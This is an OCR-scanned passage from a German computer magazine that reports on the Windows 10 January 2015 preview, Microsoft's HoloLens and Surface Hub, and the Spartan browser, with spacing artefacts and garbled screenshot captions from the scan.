muss sie aber aktivieren, indem man i n  der 
Adress le iste des Browsers .,about:flags" 
e ing ibt und dort unter .,Enable Experimenta l  
Web P latform Featu res" d ie  Option 
.,Enabled" wäh lt. 

Seite 61  ) .  Es ist daher eine gute Idee, wenn 
Web-Entwickler i h re Anwendungen damit  
testen. Wer dafü r  n icht extra d ie  Technica l  
P review i nsta l l ieren wi l l ,  kann  sie auch per 
Remote Desktop über Microsofts Test-Platt­
form https:/ /remote.modern. ie ausprobie­
ren. 

P lug-in-freies Video-Streaming.  Weitere Ver­
besserungen haben auch d ie Entwickler­
Too ls F 1 2 erhalten. So hebt zum Beispiel das 
Netzwerk-Too l  Fehler fa rb l ieh hervor. Der 
Entwickler kann zudem die übertragenen ln­
ha lte nach Typen fi ltern. Uo@ct.de) 

EdgeHTML soll der Standa rd-Renderer i n  
Windows 1 0 werden und auch  die Basis des 
neuen Browser-Projekts .,Spa rtan" sein (siehe 

Zu den neuen Funktionen zäh len das Pro­
toko l l  HTIP Strict Transport Secu rity (HSTS), 
mit dem Websites erzwingen können, dass 
Verbindungen immer SSL-versch lüsselt statt­
finden, sowie HTIP Live Streaming (HLS) fü r 

EdgeHTML 

• tec h n ische Basis kü nftiger Webbrowser 
von Microsoft 

spätestens mit dem fertigen Windows 1 0  

Die  Preview sicher ausprobieren 

Die Januar-Preview von Windows 1 0  weckt Neug ier  und den 
Wunsch, sich selbst e in U rtei l zu bi lden.  Doch wie bei jeder Beta­
version gi l t :  Auf einem Rechner, der zuverlässig funktionieren 
muss, hat sie n ichts zu suchen. E in Betriebssystem im Betastad ium 
kann  du rchaus wichtige Daten beschädigen. D ie  Windows-1 0-
Previews s ind noch aus einem anderen Grund mit mehr Vorsicht 
zu genießen: ln der Datenschutzerklärung zum Windows-l nsider­
Programm, die man vor der I nsta l lat ion abnicken muss, gönnt sich 
Microsoft näml ich das Recht, zum Beispiel Tastatur- und Sprach­
e ingaben sowie I nformationen über d ie verwendeten Dateien und 
Programme zu erfassen und auszuwerten. 

Daher ist a uch eine Para l le l i nsta l lation auf einem in  Gebrauch be­
fi nd l ichen Rechner heike l .  Wer es trotzdem riskieren wi l l ,  so l l te 
Backups seiner Daten anfertigen und über e ine Versch l üsse lung 
nachdenken, d ie den Zugriff von Windows 1 0 aus  verh indert. D ie 
Windows-1 0-lnsta l lat ion überschreibt zudem den bisherigen Boot­
leader. Rückstandslos werden Sie sie a lso ohne g rößere Kl imm­
züge nicht wieder los. 

Um das System bedenkenlos auszuprobieren, ist a lso ein sepa rater 
Rechner ideal - oder I h r  normaler Arbeitsplatz-PC, sofern Sie d ie 
Festplatte abklemmen und dafü r  eine leere e inbauen. Windows 1 0 
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verlangt nach mindestens 20 GByte Plattenspeicher und mindes­
tens 1 GByte RAM, fü r die 64-Bit-Version 2 GByte. 

Wenn Sie keine 3D-Spiele unter Windows 1 0  testen möchten, ist 
a uch die Verwendung einer virtue l len Maschine (VM) praktikabel .  
Besitzer von Windows 8(. 1 ) Pro haben mit Hyper-V bereits e inen 
geeigneten Virtua l i sierer an  Bord. Er muss ledig l ich i n  der System­
steuerung unter .. Prog ramme I Windows-Featu res aktivieren oder 
deaktivieren" eingeschaltet werden.  Wer kein  Hyper-V hat, kann 
den kosten losen VMware Player oder  die Testversion von VMware 
Workstation nehmen (Download siehe c't-Link) .  Die Open-Source­
Lösung Vi rtua i Box ist auf Windows 1 0  offenbar noch nicht einge­
ste l l t; bei unseren Versuchen l ief es dort i nstab i l .  

Spendieren Sie der VM mindestens 2 GByte RAM, mehr i s t  besser. 
Auch bei der CPU sol l ten Sie nicht geizen und mindestens zwei 
Kerne zuweisen. ln VMs mit nu r  einem Prozessorkern l ief d ie 
Erste inrichtung i n  unseren Tests mitunter quä lend lahm. Unter 
VMware sorgt die anschl ießende I nsta l lat ion der .,VMwa re Tools" 
fü r einen flotteren Bi ldaufbau .  Hyper-V-Anwender können d ie 
Grafi kgeschwindigkeit verbessern, indem sie im Ansicht-Menü von 
Hyper-V die .,Erweiterte Sitzung" ausscha lten. Al lerdings g ibt es 
dann keine Sound-Ausgabe mehr aus der VM. (hos@ct.de) 
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. . .  u n d  noch mehr! 

Das Action Center sammelt Toasts, a l so d ie 
Systemmittei l u ngen, d ie  beim E instecken 
eines USB-Sticks und ähn l ichem anfa l len .  
Reagiert der Anwender n icht  schne l l  genug 
auf e inen Toast, geht er n icht  ver loren, son­
dern landet im Action Center. Außerdem bie­
tet es Schnel lzug riff auf Tablet-Modus, VPN­
und WLAN-Einstel l ungen und so weiter. Ein 
Klick auf das Sprechblasen- lcon im System­
Tray öffnet es; auf Touchscreens erscheint es 
auch mit e inem Wisch von rechts ins B i ld -
wie d ie Charms-Leiste in Windows 8.1 . 

Momentan ist der Nutzen noch rudimen­
tär :  Die gesammelten Meldungen lassen s ich 
gar nicht aufrufen. Tol l  wäre es, wenn das Ac­
t ion Center auch H i nweise auf neue Ma i l s  
oder Skype-Nachrichten anzeigen könnte. 
Zudem landen dort nach wiederholten g lei­
chen Ereign issen auch mehrfache identische 
Benachr icht igungen - das dü rfte Microsoft 
bitte übersicht l icher gesta lten. 

An weiteren Stel len zeigt sich, dass Micro­
soft nicht nur die großen Publ ikumsmagneten 
wie Continuum und Cortana i ntegriert. So 
lässt das Mausrad endl ich sichtbare Fenster­
inha lte scro l len, die sich unter dem Mauszei­
ger befinden. Das Fenster kann dabei auch im 
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Windows.SystemToast.BdeUnlock 

'" 

E:lcplorer 

H1 �r t.�ken um d1e a�:tuel len Anmeldemfc ,1 t 

Möeh�� Ste den Tabletmodus beenden' 1 

Mbchte� s,e den Tabletmodus st.leten' 

Mochte� S•e den TabletmOdus st.leten? 

Moch ·� S1e den Table modus starten? 

Automatische Wiedergabe 

W@ch seld li"''"Tag .r D. 

�chS@IdatefltTager (D I 

Es sind neue Apps verfilgbar, mit denen dieser 
Dateityp geöffnet werden kann. 

E J ' fughlr mo enen � 

Es S I� neue Apps verlugbar mot denen d 

0 0 
Toblot mode Al \A:"{f"'9' 
� 
... lane mode VPN 
liii 

Wif· 

Das Action Center sammelt verpasste 
Systemnach richten.  
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H intergrund l iegen. Wer die Inha lte mehrerer 
nebeneinanderl iegender Fenster du rchscrol­
len will, muss sie dazu nicht mehr abwech­
selnd ankl icken - es genügt, den Mauszeiger 
draufzuhalten und das Mausrad zu benutzen. 

E ine weitere Funktion, d ie Microsoft e in­
gebaut hat, ist eine gezielte Neusta rtplanung 
nach Windows-Updates: Wurden Updates in­
sta l l iert, kann  der Anwender auch eine Uh r­
zeit wäh len, zu der das System neu sta rtet. 

In der Januar-Preview ist ein neu gesta lte­
ter Anmeldebi ldschirm enthalten, der sich mit 
einem Reg istry-Sch lüssel hervorlocken lässt. 
Wer ihn  ausprobieren wi l l ,  muss sich im Re­
gistry-Editor zum Sch lüssel HKEY_LOCAL_MACHINE\ 
SOFTW ARE\M icrosoft\ Wi ndows\Cu rre ntVersion \Authentica­
tion\LogonU I\TestHooks du rchhangeln .  Der dar in 
entha ltene Wert namens Th reshold muss 
dann von 0 auf 1 umgeste l l t  werden - beim 
nächsten Log in ist der neue Sti l zu sehen. 

Außerdem haben die Entwickler das Fens­
ter fü r den Ka lender neu gesta ltet, das sich 
öffnet, wenn der Anwender auf d ie Uhr in 
der Ta skieiste kl ickt. Um die neue Version zu 
sehen, müssen Interessierte per Registry-Edi­
tor zum Sch lüssel HKEY_LOCAL_MACH IN E\Software\ 
Microsoft\Windows\CurrentVersion\ImmersiveShell navi­
g ieren und darin einen 32-Bit-DWORD-Wert 
mit dem Namen "UseWin32TrayCiockExperi­
ence" an legen.  In der a ktue l len Form kann  
das neue Fenster a l le rd ings noch  keine 
Uh ren fü r andere Zeitzonen anzeigen; e in 
K l ick auf "zusätzl iche Uh ren" öffnet d ie neu 
gesta ltete Wecker-App, in  der sich auch die 
Timer-, Stoppuhr- und Weltzeitfunkt ionen 
befinden. 

Zu etwa igen Performance-Verbesserungen 
in  Windows 1 0  hat Microsoft bisher nichts ge­
sagt. Trotzdem hat uns interessiert, wie sich 
die Januar-Preview in puncto Systemleistung 
verhält, und desha lb haben wir einige Bench­
marks laufen lassen. Die Ergebnisse fielen er­
wartungsgemäß aus :  Wir konnten keine Un-

Settings 

® Windows U pdate 

Windows Update 
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- Update for Windows Technical  Preview for x64-based systems 

(KB3035129). 

- Security Update for I nternet Explorer Flash Player for Windows 
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- De1initionsupdate für Windows Defender - KB2267602 (De1inition 
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- System1irmwareupdate - 27.01.2015. 
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geeig neten Zeitpunkt planen. 
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ware gut)_ 

(i Wählen S ie  eine Uhrzeit für den Neustart aus: 

Der Zeitpunkt fü r den Neusta rt lässt 
sich individuel l  e inste l len .  
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terschiede zu Windows 8.1 ausmachen, d ie 
über Schwankungen innerha lb  der Messge­
nauigkeit h inausgehen. 

Fazit 

Microsoft-Boss Nadel la wi l l ,  dass al le Welt 
Windows l iebt - bei uns rief die Januar-Pre­
view gemischte Gefüh le hervor. Gut gefa l len 
haben uns Deta i l l ösungen. Bei al len g roßen 
und kleinen Neuerungen wird schon nach kur­
zer Benutzungsdauer der Januar-Preview kla r, 
dass es sich ganz eindeutig um eine Betaver­
sion handelt: Cortana läuft holprig, das Action 
Center ist hübsch, aber kaum nutzbar und die 
F lexibi l ität des neuen Startmenüs ist mau. 

Microsoft hat ganz offensichtl ich verstan­
den, dass das Zusammenzwingen zweier ge­
trennter Bedienoberflächen in  Windows 8 ein 
Griff ins Klo war. Den Ausweg suchen die Red­
monder in  einem tatsächl ich viel sinnvol leren 
Ansatz: Eine einzige Oberfläche zu bieten, d ie 
s ich dynamisch an die gerade vorherrschen­
den Bed ingungen anpasst. Doch das be­
schworene Nahtlos-Erlebnis wi l l  sich noch 
nicht so richtig einste l len .  Desktop und Mo­
dern U l  s ind nach wie vor kla r  als unterschied­
l iche Darste l lungstechniken zu erkennen. 

E in weiteres Problem hat Microsoft haus­
gemacht, und es ist bis lang nicht erkennbar, 
dass sich daran etwas ändern könnte: I n­
transparenz bei Datenschutz und Synchroni­
sationsfunktionen. Man dokumentiert nicht, 
welche Daten und Verzeichn isse bei der  
Synchronisation v ia  Microsoft-Benutzerkon­
to abgegl ichen werden.  E in  solches zu be­
nutzen, ist aber zwi ngend notwendig, um 
d ie beschworene "Mobi le Exper ience" auf 
a l len Geräten zu haben (siehe Seite 53) . 

A l le  sol len Windows l ieben. Liebe setzt al­
lerd ings Vertrauen voraus, desha l b  s ind ver­
trauensbi ldende Maßnahmen d ringend nötig. 
Microsoft ist in  der Br ingschu ld .  Uss@ct.de) 

C11: Download VMware: ct.de/yudc 

09:23 :59 
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Neues Fenster für Uhrzeit und Ka lender: 
Goodbye, Analoguhr  
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Jan-Keno Janssen, U l r ike Ku h l ma n n  

Bl icken statt kl icken 
Microsofts a m bitio n iertes Hololens-Projekt 

Mit Microsofts Augmented-Rea l ity-Br i l le  Holelens sol l  d ie echte Welt 
m it der vi rtue l len verschmelzen. Die "Windows Holog raph ic"-Piattform 
sol l  künftig auf a l len Windows-1 0-Geräten laufen.  

N icht weniger a l s  e ine  Revo lution i n  der  
Computerbed ienung hat  Microsoft m i t  

Hololens angekündigt: Nach Kommandozei le 
und grafischer Bed ienoberfläche sol l  jetzt die 
echte Weit mit der virtue l len verschmelzen. 
Statt auf einen flachen Monitor zu sta rren, 
kann  ein Produktdesigner mit aufgesetzter 
Ho lolens-Bri l l e  sein Werk einfach auf dem 
leeren Schreibtisch bearbeiten - in a l len d rei 
Dimensionen, ei nfach mit den Händen, mit 
Bl icken und Kopfnicken, ohne H i lfsmittel wie 
Maus und Tastatur . An Wänden eingeblen­
dete Videofenster ersetzen den Fernseher aus 
schnöder Materie - auf Wunsch kann  man 
den ganzen Raum verändern, was neuartige 
Spiele möglich macht. 

Zumindest in  den von Microsoft veröffent­
l i chten Videos s ieht a l l  das sehr beeind ru­
ckend aus. Sel bst ausprobieren konnten wir 
d ie Bri l l e  noch nicht - zur Ho lolens-Audienz 
wurden nur e ine Handvo l l  US-Journa l isten 
geladen und es herrschte striktes Foto- und 
Videoverbot Auch wenn d ie funktionieren­
den Prototypen woh l  noch deut l ich klobiger 
aussehen als d ie  strom l in ienförmigen De­
sign-Mock-ups: Die inneren Werte scheinen 
pri nzipiel l zu stimmen. So waren d iejenigen, 
d ie  "Project Baraboo" (so der i nterne Ho lo­
Lens-Codename) schon ausprobieren konn­
ten, z ieml ich begeistert. S ie bemängelten 
led ig l ich e in  zu kle ines S ichtfe ld der über­
lagerten Rea l ität - einer nannte es "Tunnel­
b l ick". l n  dem kle inen Fe ld sei der Effekt zwar 
beeindruckend, man müsse aber den Kopf 
viel hin- und herbewegen, um seine Umge­
bung AR-mäßig zu erfassen. 
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Chefentwickler der neuen Techn ik ist Alex 
Kipman, der schon fü r Microsofts innovative 
Kinect-Kamera verantwort l ich zeichnete. Seit 
sieben Jahren spukt ihm die Idee zu "Project 
Baraboo" im Kopf herum, berichtet das US­
Magazin Wired. Ernsthaft a rbeitet er seit fünf 
Jah ren an der futu rist ischen Bri l l e  - die Ki­
nect sei eigentl ich e in Abfa l l produkt der Ba­
raboo-ldee. 

Die Tec h n i k  dah i nter 

Ho lolens b lendet 3D-Objekte i n  d ie  rea le  
Umgebung ein und ste l l t  so eine Mischform 
aus Augmented Rea l ity (über lagerte I nfor­
mationen) und Virtua l  Rea l i ty (vi rtue l le Weit) 
dar - so ungefähr  eine Mischung aus Goog le 
Glass und  Ocu lu s  Rift. Microsoft nennt das 
Ganze poetisch Holog rafie. 

Die Bri l l e  a rbeitet komplett a uta rk, hat 
a l so weder Kabel zu externen Kästchen noch 
ist sie mit Smartphone oder PC per Funk ver­
bunden .  I h re geschwungenen F rontgläser 
s ind semitranspa rent, sodass man g leichzei­
tig seine Umgebung und die eingeblendeten 

virtue l len Objekte oder I nformationen sehen 
kann .  Microsoft spricht von "High-Defin it ion 
Lenses", ohne d ie exakte Auflösung der Bri l l e  
zu benennen. Auch über d ie Disp laytechn ik 
schweigt s ich Microsoft aus .  Die B i lder  des 
Mock-up zeigen aber, dass  h inter der getön­
ten Frontscheibe eine weitere Br i l le  steckt. 

Wenn man den Demo-Videos ha lbwegs 
Glauben schenken darf, handelt es sich dabei 
um ein sogenanntes 4D-Lichtfeld-Display: Wie 
bei einer Lichtfeldkamera tragen dessen Licht­
strah len kontinu ier l iche Tiefeninformationen 
über das eingeblendete Objekt. Der Betrach­
ter entscheidet mit seinem Fokuspunkt über 
die Bi ldschä rfe und sieht die Objekte dadurch 
genau wie in der rea len Weit stets scha rf. 
Nvidia hat bereits 201 3 über die Entwickl ung 
eines solchen HMD mit Lichtfeld-Display be­
richtet. Der Grafikkartenspezia l ist modifizierte 
dafü r ein Head-Mounted-Display von Sony 
(HMD-Z1 ) :  An die Ste l le  der Verg rößerungs­
l insen vor dem Micro-OLED platzierte Nvidia 
das Mikro l insenraster fü rs Lichtfeld. 

Bei Microsoft werden d ie B i ld i nformatio­
nen der Ho lolens entweder i n  Mikrod isplays 
in den Bri l l enbüge ln  erzeugt und  von dort 
per Licht leiter zu Fe ldern aus  reflektiven 
Mikro l i nsen (je ein Feld fü r Rot, Grün und  
B l au )  im Frontg las geführt. Oder aber das Mi­
krod isplay in  der Bri l l e  ist transparent und die 
d i rekt darüber s itzenden (F resnei-)L i nsen 
lenken das Licht zum Auge des Betrachters. 

Der Vorte i l  von Lichtfe ld-Disp lays: Her­
kömml iche 3D-Bri l l en  entkoppeln Akkomo­
dation und Augenausrichtung (Vergenz) -
man schaut auf e ine fixe (Display-)Ebene, d ie 
nicht mit der Schä rfeebene übereinstimmt. 
ln der Da rste l l ung  eines Lichtfe ldd isp lays 
kann  sich das Auge dagegen wie in echt um­
sehen und mal nah, mal  i n  d ie Ferne fokus­
s ieren. A l le rd ings benötigt Microsoft dafü r  
extrem hochauflösende Mikrod isp lays, um 
ausreichend Lichtstrah len und damit  e ine 
ha l bwegs akzeptab le Auflösung h inzube­
kommen; hieran kranken auch die Lichtfeld­
Kameras etwa von Lytro. 

Die g rößte Herausforderung l iegt im Ren­
dern der Lichtfe ld-Bi lder - in Echtzeit und in 
Überei nstimmung mit den B i ldern der rea­
len, in  Echtzeit gescannten Umgebung.  Die 
von Microsoft "Hologramm" genannten Ein­
b lendungen - sie haben mit echter Hologra­
fie n ichts gemein - sind aud iovisue l l ,  man 
kann  s ie  a l so  auch hören, und zwar gerichtet 
aus der Position, an der sie sich gerade befin­
den. Wie der Sound zum Ohr ge langt, sagt 
Microsoft bis lang nicht. 

Diverse Sensoren in der Bri l le  ermitte ln die 
Posit ion des Trägers im Raum, die seiner 

Die Hololens ist 
derzeit eher ein 
Konzept a ls  ein 
fertiges Produkt ­
hier das digitale 
Mock-Up, der echte 
Prototyp ist nicht 
ganz so schick. 
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Hände und die Bl ickrichtung seiner Augen. Die 
an der Bri l l e  angebrachte Tiefenkamera zum 
Scannen der Umgebung sol l einen Bl ickwinkel 
von 1 20 x 1 20 Grad abdecken - damit lassen 
sich Handbewegungen sogar dann tracken, 
wenn d ie Arme weit vom Körper gestreckt 
werden. Die eingebaute Kameraelektronik ist 
- logisch - eine Erweiterung der Kinect. 

Zum eingebauten Spezia lprozessor .. Ho lo­
g raphie Processing Un it" (HPU) g ibt es noch 
keiner le i Deta i ls .  Auf jeden Fal l muss die HPU 
enorm le istungsfäh ig sein, um d ie nötigen 
Berechnungen eigenständ ig  auszufüh ren .  
B le ibt d ie Frage:  Wie lange hä lt der Akku des 
auta rken Geräts? 

Die Microsoft-Bri l l e  sol l laut Microsoft-CEO 
Nadel la ., im Zeitfenster von Windows 1 0" in 
den Handel  kommen - angesichts des noch 
sehr frühen Prototypen, der eher wie ein 
Proof of Concept anmutet, dü rfte das nicht 
. . nächste Woche" bedeuten, sondern eher 
.. so lange es Windows 1 0  noch gibt". E in Preis 
fü r die Holelens steht noch nicht fest. 

Die Kon ku rrenz 

Microsoft hat mit seiner spektaku lä ren Prä­
sentation fü r viel Aufmerksamkeit gesorgt ­
neu ist d ie Idee aber nicht. Et l iche g roße und 
kle ine Unternehmen a rbeiten se i t  Langem 
an  Augmented-Rea l i ty-Br i l len, d ie Computer­
g rafi k-Objekte mi l l imetergenau ins Sichtfe ld 
e inpassen können .  Dafü r muss d ie Bri l l e  
nicht nur  wissen, w ie  die echte Weit aussieht, 
sondern auch, wo der Benutzer gerade h in­
schaut. 

Bisherige Datenbr i l l en wie Goog le Glass 
oder Vuzix M 1 00 scheitern da ra n :  E rstens 
b lenden d iese Model le led ig l ich e in kleines 
. .  Schwebe-Display" im  per ipheren Sichtbe­
reich ein. Zweitens sind sowoh l  Kamera a l s  
auch Prozessor völ l ig  überfordert damit, d ie  
Umgebung permanent i n  Echtzeit zu erfas­
sen. Und nicht zu letzt p latzieren Goog le & 
Co. das Display nu r  vor e in Auge - Räum lich­
keit ist desha lb  Fehlanzeige. 

Mit seinem stereoskopischen Display löst 
Epsons Datenbri l l e  Moverio BT-200 zumin­
dest das 3D-Problem und bietet obendre in 
e in deut l ich g rößeres B l ickfe ld a l s  etwa d ie 
Glass .  Dennoch wi rken d ie b is lang verfüg­
baren AR-Anwendungen noch sehr rumpe­
l ig :  Die Computerg rafi kobjekte lassen s ich 
mangels Raumerfassung und Augentracking 
nu r  sehr ungenau anordnen.  
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Mit einer Kinect­
ähn l ichen Kamera 
wi rd die Umgebung 
des Holelens­
Trägers kontinu ier­
l ich gescannt. 

Das US-Start-up Meta ist da ambit ionier­
ter. I h re angekündigte Datenbri l l e  Meta Pro 
sol l du rchsichtige stereoskopische 720p-Dis­
p lays mit einem großen B l ickfe ld nutzen und 
auch Raumerfassung und Handgestensteue­
rung per Tiefenmapping .  I h r  sel bst entwi­
ckeltes I nterface verg leicht Meta bereits mit 
dem aus  dem Hol lywood-F i lm ., I ran Man" -
sel bstbewusst s ind sie, d ie Meta-Leute. 

Geheimn iskrämerei betreibt Goog le mit 
seinem neu e ingekauften Unternehmen 
Magie Leap: Auch hier wird an einer Augmen­
ted-Rea l ity-Bri l l e  gearbeitet, d ie auf Lichtfeld­
Technik setzt. Das Ganze ähnelt sehr dem von 
Microsoft jetzt vorgestel lten Holelens-Prinzip 
und man darf schon gespannt sein, wann die 
Patentstreitigkeiten ausbrechen. Echte Bri l len 
hat Magie Leap noch n icht gezeigt. 

Und dann ist da noch das fü r Spie le konzi­
pierte AR-Bri l l en-System CastAR. Genau wie 
Microsoft sprechen die CastAR-Macher von 
kombin ierter Augmented- und Vi rtua i-Rea l i ­
ty sowie von . .  Holog rafie". Das B i ld wird hier 
mit zwei Mikroprojektoren Gewei ls 720p-Auf­
lösung, 1 20 Hz mit 3D-Shutter-Funktion) auf 
e ine retroreflektive Oberfläche proj iz iert; 
d iese wi rft das Licht unabhäng ig vom Ein­
fa l l swinkel para l le l  zur  Quel le zurück. Die 
Oberfläche muss s ich i n  der  rea len U mge­
bung befinden - beispie lsweise auf dem 
Tisch l iegen. Der horizonta le B l ickwinkel ist 
mit 65 Grad deut l ich kle iner als etwa bei der 
DK2-Version der VR-Bri l l e  Ocu l u s  Rift (rund 
90 Grad) - der B l ickwinkel i s t  be i  AR aber we-
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niger entscheidend a l s  bei VR, wei l man über 
d ie semitranspa rente Bri l l e  zugleich die rea le  
Umgebung sieht. Die notwendige reflektie­
rende Oberfläche mit den daran angebrach­
ten I R-Ma rkern zur Posit ionsbestimmung 
schränken d ie Bewegungsfreiheit des  Cast­
AR-Bri l l enträgers a l lerdings sta rk e in .  

Wie geht's weiter mit Ho lolens? 

Laut Microsoft i s t  d ie Hololens-API Bestand­
tei l von Windows 1 0. Darüber sol len sich sehr 
ei nfach Basis-Anwendungen fü r d ie  Ho lo­
Lens erste l len lassen. Die sogenannten Uni­
versa l Apps, d ie es seit Windows 8 g ibt und 
d ie naht los auf Mon itor, Tablet, Smartphone 
und der Xbox laufen, sol len automatisch 
kompatibel zur Ho lelens sein .  

Microsoft preist d ie Holelens an  fü r Krea­
tivitätsschübe, a l s  Lehr- und Lernplattform, 
als Visua l is ierungsh i lfe und zum einfachen 
Gedankenaustausch. So kann  man mit der  
App Ho loNotes per Skype i n  Echtzeit Ho lo­
g ramme in die Umgebung seines Gesprächs­
partners e inb lenden, etwa um bei Repara­
tu ren zu helfen oder um im Büro Probleme 
bei der Entwickl ung von Industrieprodukten 
zu visual is ieren. 

Die Redmonder springen mit dem Ho lo­
Lens-Projekt natür l ich auch auf den Maker­
Zug :  Die App Ha loStudio erste l l t  aus  den 
d ig ita len 3D-Objekten druckfäh ige  Vor la­
gen, d ie  man dann auf  e inem 3D-Drucker 
ausd rucken kann .  Ha loStud io scheint a l l er­
d ings noch sehr rudimentä r, d ie ersten Tes­
ter konnten d ie  Anwendung - anders a l s  
etwa den Skype-Chat, e i nen  Besuch auf dem 
Ma rs oder  e ine M inecraft-Demo - nicht 
sel bst ausprobieren; sie wurde i hnen led ig­
l ich vorgefüh rt. 

Die Idee hinter dem Projekt Ho lelens ist 
nicht die Bri l l e  sel bst, sondern der damit ver­
bundene Software-Service. (uk@ct.de) 

Hololens 
f{ Bri l le fü r rä u m l iche Augmented Rea l ity 

ß Preis u n beka n nt, so l l  " i m  Zeitfenster von 
Windows 1 0" kommen 

Per Skype lassen 
sich Skizzen 
und Objekte 
d i rekt in  die 
AR-Umgebung 
des Gesprächs­
partners 
einblenden. C11: 

59 



Report I Windows 1 0: mobil , im Web, zum Spielen 

J o  Bager, Ma rti n Fischer, Dorothee Wiegand, Jörg Wi rtgen 

Darfs ein bisschen meh r sein?  
Wi ndows 1 0  jen seits der  Preview 

Außer einer revolutionären Augmented-Rea l ity-Br i l le  und einer neuen 
Vorabversion von Windows 1 0  hat Microsoft d ieser Tage noch etl iche 
weniger öffent l ichkeitswirksame, aber dennoch wegweisende Produ kte 
und Produ ktdetai l s  angekündigt. Ein Ü berbl ick. 

Su rface H u b  

Weniger spektaku lä r, dafü r  deut l ich konkre­
ter a l s  d ie  neue AR-Bri l l e  Ho lelens (s iehe 
S. 58) ist d ie zweite Ha rdware, d ie Microsoft 
im Zuge der  Windews-Vorste l l u ng präsen­
tierte: Su rface H u b, auf den ersten B l ick e in 
g roßer Monitor fü r (Video-)Konferenzen, Be­
sprechungsräume und generel l  fü r die Arbeit 
im Team, sol l noch i n  d iesem Jahr  auf den 
Markt kommen. 

Auf den zweiten Bl ick handelt es sich um 
e inen vol lwertigen Windows- 1 0-Rechner .  
Den Al l - i n-One-PC sol l  es in  zwei Ausfüh run­
gen geben: riesig und sehr riesig .  Sowoh l  das 
55-Zo i i -Fu i i-HD-Mode l l  a l s  auch das 84-Zoi i ­
Model l  mit 4K-Auflösung haben e ine Bi ld­
wiederhol rate von 1 20 Hz. S ie so l len auf 
Zu ruf und Gesten reagieren, aber auch E in­
gaben per  Stift (maximal zwei Stifte pa ra l le l) , 
Touch (bis zu 1 00 F inger  g l eichzeit ig) und  
Tastatur entgegennehmen. 

Damit das funktioniert, wi l l  Microsoft Be­
wegungs- und Berührungssensoren e in­
bauen, a ußerdem zwei Weitwinke lkameras 
( 1  080p) sowie Mikrofone und Lautsprecher. 
So ausgestattet sol l der Su rface Hub offenbar 
antreten, um so z ieml ich a l l e  andere Ha rd­
ware, d ie sich klassischerweise i n  einem Kon-

ferenzraum fi ndet, zu ersetzen :  F l i pcha rt, 
Whiteboa rd, Notebock p lus  Beamer, Video­
konferenzsystem samt Telefonen - das a l les 
wäre künftig n icht mehr nötig, wenn das 
Meeting rund um den Su rface Hub stattfin­
det. N u r  Kaffee kochen kann  der  Riesen­
schirm nicht. 

Soba ld e in  Nutzer s ich dem Display nä­
hert, identifiziert Su rface Hub die Person .  Der 
Anwender kann  dann sofort, a l so ohne ein 
Login, mit  dem Rechner i nterag ieren. Dies 
wurde i n  der Präsentation gezeigt, ohne die 
Techn ik dah inter zu erklä ren; mögl icherwei­
se funktioniert die Erkennung über das Mo­
b i lgerät des Anwenders. Auf dem Su rface 
Hub  vori nsta l l iert s ind außer App-Versionen 
der Office-Anwendungen Word, Excel und  
PowerPoint auch Skype for Bus iness und 
e ine spezie l l e  Vers ion des Notizen-Pro­
g ramms OneNote namens OneNote white­
boa rd. Darüber h inaus so l len auch a l l e  Uni­
versa l Apps fü r Windows 1 0  auf dem Konfe­
renz-PC la ufen. 

An Schn ittste l l en stehen unter anderem 
HDMI, NFC, Mi racast und B luetooth zur Ver­
fügung .  Der Austausch zwischen Su rface 
Hub  und verbundenen Windows-1 0-Geräten 

Der Surface Hub soll die komplette Ausstattung eines Besprechungsraums 
ersetzen :  Er  dient nicht nu r  a l s  Whiteboard und Beamer, sondern auch a l s  
Videokonferenzsystem. 
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ist l aut  Microsoft i n  be ide Richtungen pro­
blemlos mögl ich .  Soga r von einem iPad, auf 
dem Office-Apps von Microsoft la ufen, so l l  
der Anwender le icht zum Beispiel e ine Text­
datei auf den g roßen B i ldsch i rm br ingen 
können. Diese l ieße s ich dort bearbeiten, von 
Teamkol legen mit Ergänzungen und Anmer­
kungen versehen oder um B i lder  ergänzen 
und ansch l ießend auf beliebige andere Mo­
bi lgeräte im Raum verte i len .  Zum Speichern 
von Diskussionsergebnissen i n  Form von 
handsch rift l ichen Notizen oder Skizzen so l l  
das OneNote-Format dienen. 

Weder der Name noch das Konzept des 
Su rface Hub s ind so r ichtig neu .  "Microsoft 
Su rface" hieß bereits e in waagerecht positio­
n iertes Riesen-Disp lay, das Microsoft seit 
2007 fü r Konferenzen, Verkaufsgespräche 
und ähn l iche E insatzszenarien anpries; 201 2 
wurde es in "Microsoft Pixe iSense" umbe­
nannt. Das Display im Format e ines Couch­
tischs war e in frühes Beispiel fü r Ha rdwa re, 
d ie Mu l titouch-Gesten entgegennimmt, und 
i nsgesamt vie l leicht se iner  Zeit voraus  - ein 
kommerzie l le r  E rfo lg wurde es jedenfa l l s  
nicht. 

Die Bezeichnung "Su rface" tauchte dann 
a l s  Name des von Microsoft selbst hergeste l l ­
ten Tablets fü r Windows 8 wieder auf und 
sel bst "Su rface Hub" gab es i n  d iesem Zu­
sammenhang bereits a l s  Produktnamen, 
näml ich fü r das Konfigurationsprogramm fü r 
d iese Su rface-Tablets. Nun  schickt Microsoft 
seinen g rößten Windows-1 0-Rechner unter 
demselben Namen ins Rennen. Der hat trotz 
der Microsoft-typisch verwi rrenden Namens­
gebung du rchaus das Zeug, zu e inem wirt­
schaft l ichen Erfo lg zu werden .  Wenn der  
Konferenz-PC tatsäch l ich auf den Markt 
kommt, was noch fü r 201 5 angekündigt ist, 
geht es vor a l lem um zwei spannende F ra­
gen :  Zu welchem Preis werden d ie Riesen­
Disp lays angeboten und welche Apps wer­
den dafü r  verfügbar sein?  (dwi@ct.de) 

Su rface H u b  

fj Videokonferenz-Wa ndtafel  

mJ noch fü r 201 5 angekünd igt 
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Projekt Spartan 

Schon seit Monaten hatte es Gerüchte um 
einen neuen Browser mit dem Projektnamen 
Spartan gegeben, der den bisherigen I nter­
net Explorer ab lösen sol l .  M icrosoft hatte 
schon im Vorfe ld angekünd igt, die Docu­
ment Modes über Bord zu werfen, mit denen 
Web-Entwickler gezie lt e inen der im I nternet 
Explorer enthaltenen I E-Renderer fü r Unter­
nehmensanwendungen ansprechen können. 

Das l ieß hoffen, dass Spartan d ie Rende­
rer-Ait lasten über Bord wi rft. Doch wie 
Microsoft im I E-Biog erklä rt hat, b le ibt a uch 
die a lte l nternet-Exp lorer-Eng ine i nkl u sive 
der Rückwärtskompatib i l ität bis zu IE 5.5 in 
Windows 1 0  erha lten.  Sie rendert Legacy­
Websites, d ie  ä ltere Techn iken wie etwa 
angepasste ActiveX-Komponenten oder 
Browser He lper Objects verwenden.  A ls  
Defau lt kommt aber die neue Rendering En­
g ine namens EdgeHTML zum Einsatz. Sie ist 
